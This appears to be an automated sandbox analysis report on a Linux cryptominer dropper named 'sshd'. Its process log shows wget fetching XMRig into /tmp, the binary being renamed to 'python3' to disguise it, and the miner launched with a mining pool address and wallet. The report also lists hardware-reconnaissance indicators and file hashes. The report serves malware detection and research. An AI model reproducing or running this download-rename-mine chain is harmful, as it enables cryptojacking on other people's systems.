Analysis
-
max time kernel
125s -
max time network
111s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240729-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
20-01-2025 17:38
Static task
static1
Behavioral task
behavioral1
Sample
sshd
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
2 signatures
900 seconds
Behavioral task
behavioral2
Sample
sshd
Resource
ubuntu2004-amd64-20240729-en
ubuntu-20.04-amd64
2 signatures
900 seconds
Behavioral task
behavioral3
Sample
sshd
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
11 signatures
900 seconds
Behavioral task
behavioral4
Sample
sshd
Resource
ubuntu2404-amd64-20240729-en
ubuntu-24.04-amd64
11 signatures
900 seconds
General
-
Target
sshd
-
Size
496B
-
MD5
bde8eb67612ae4246e358fc8a75e4f04
-
SHA1
d1e03cf4130281b525f8a5d51abc3c3917c58d58
-
SHA256
986b11952fe8b5764c39bc39ab3656b4f3b14c331cf32cfea6d8b0079c81e5f3
-
SHA512
ac62ad5f3628caef1f68a4ead799e234cb440c321a51ea589e442ceee6b24ce3f56b4c958e770abb4b7ddfbed8c731cd801b58f3ce68011b53c3b8c46688eb28
Score
10/10
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral4/files/fstream-5.dat family_xmrig behavioral4/files/fstream-5.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name python3 File opened for reading /sys/devices/virtual/dmi/id/board_vendor python3 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor python3 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor python3 -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/chassis_version python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial python3 File opened for reading /sys/devices/virtual/dmi/id/board_version python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_type python3 File opened for reading /sys/devices/virtual/dmi/id/product_version python3 File opened for reading /sys/devices/virtual/dmi/id/board_name python3 File opened for reading /sys/devices/virtual/dmi/id/bios_version python3 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor python3 File opened for reading /sys/devices/virtual/dmi/id/board_serial python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag python3 File opened for reading /sys/devices/virtual/dmi/id/bios_date python3 File opened for reading /sys/devices/virtual/dmi/id/product_serial python3 File opened for reading /sys/devices/virtual/dmi/id/product_uuid python3 -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo python3 -
Reads CPU attributes 1 TTPs 46 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level python3 File opened for reading /sys/devices/system/cpu/possible python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/online python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level python3 -
Enumerates kernel/hardware configuration 1 TTPs 26 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/cgroup/cpuset.mems.effective python3 File opened for reading /sys/devices/cpu_core/cpus python3 File opened for reading /sys/devices/system/node/node0/hugepages python3 File opened for reading /sys/devices/system/node/node0/access1/initiators python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency python3 File opened for reading /sys/firmware/dmi/tables/DMI python3 File opened for reading /sys/bus/soc/devices python3 File opened for reading /sys/devices/cpu_atom/cpus python3 File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages python3 File opened for reading /sys/devices/system/node/node0/cpumap python3 File opened for reading /sys/devices/system/node/node0/meminfo python3 File opened for reading /sys/bus/dax/devices python3 File opened for reading /sys/devices/system/cpu python3 File opened for reading /sys/kernel/mm/hugepages python3 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages python3 File opened for reading /sys/devices/system/node/node0/access0/initiators python3 File opened for reading /sys/fs/cgroup/cpuset.cpus.effective python3 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages python3 File opened for reading /sys/devices/system/node/online python3 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency python3 File opened for reading /sys/devices/virtual/dmi/id python3 File opened for reading /sys/firmware/dmi/tables/smbios_entry_point python3 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages python3 -
description ioc Process File opened for reading /proc/self/cpuset python3 File opened for reading /proc/driver/nvidia/gpus python3 File opened for reading /proc/version_signature python3 File opened for reading /proc/sys/vm/nr_hugepages python3 File opened for reading /proc/sys/crypto/fips_enabled wget File opened for reading /proc/filesystems tar File opened for reading /proc/filesystems mv File opened for reading /proc/cmdline python3 File opened for reading /proc/sys/kernel/random/boot_id tar File opened for reading /proc/filesystems mv File opened for reading /proc/meminfo python3 -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sshd.tgz wget File opened for modification /tmp/xmrig-6.22.2/config.json tar File opened for modification /tmp/xmrig-6.22.2/SHA256SUMS tar File opened for modification /tmp/xmrig-6.22.2/xmrig tar
Processes
-
/tmp/sshd/tmp/sshd1⤵PID:2515
-
/usr/bin/wgetwget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -O sshd.tgz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2517
-
-
/usr/bin/tartar -xf sshd.tgz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2544 -
/usr/local/sbin/gzipgzip -d3⤵PID:2545
-
-
/usr/local/bin/gzipgzip -d3⤵PID:2545
-
-
/usr/sbin/gzipgzip -d3⤵PID:2545
-
-
/usr/bin/gzipgzip -d3⤵PID:2545
-
-
-
/usr/bin/rm2⤵PID:2546
-
-
/usr/bin/mvmv xmrig-6.22.2 sshd_common2⤵
- Reads runtime system information
PID:2547
-
-
/usr/bin/mvmv xmrig python32⤵
- Reads runtime system information
PID:2548
-
-
/tmp/sshd_common/python3./python3 -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:47zqPD9abK85U1mLET6U3ZPAUGEWg45fiGSacihNC2kP2SQvsbqTdwY5QgRpssfSfHhHP4JhPRZ8KZPuLq4jwqSMEZtsN4q.linux14496 -p crypter2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2550
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
165B
MD573a5bd905bc0de650e3005eb70771eb4
SHA1086e9525ef0ea19e5ec6d5f8477d0dac59a62c72
SHA256ebf6f18645143afb3bb5b5425db51a19f49fcfd7c589cfe158cc75029a07841a
SHA5121ca6defdbffecd7824fdf94a9283af119814e4353a19397f361aff70c0fe89b48f9fe59e7bf4a54315fe6aec1b238cf9b10f243a32fdf8e99895adef66799e41
-
Filesize
150B
MD5554d057fe1c4eab2071450cf6c434dc5
SHA19fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA256cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
SHA512be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
-
Filesize
2KB
MD566f38c96a4901e7b345787c447842b3e
SHA12aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA2562b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
SHA51271757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
-
Filesize
7.4MB
MD59731bb5827650b239eb30ce4431b39dc
SHA1f66114a0bb7245a181dcd2af426653f015e79c86
SHA256cb7b47a0add9953fa1cd9aedc8913eafd0f99d90ff7706570cc5ed5fce221909
SHA512e8b3f35a16447eb58c911ecaddad8450deafc46ab157f95a7a45c0e98657ccd697f1f2863b19032a796068d5a7243073c2bef9ad7c1245271cc23f6743250309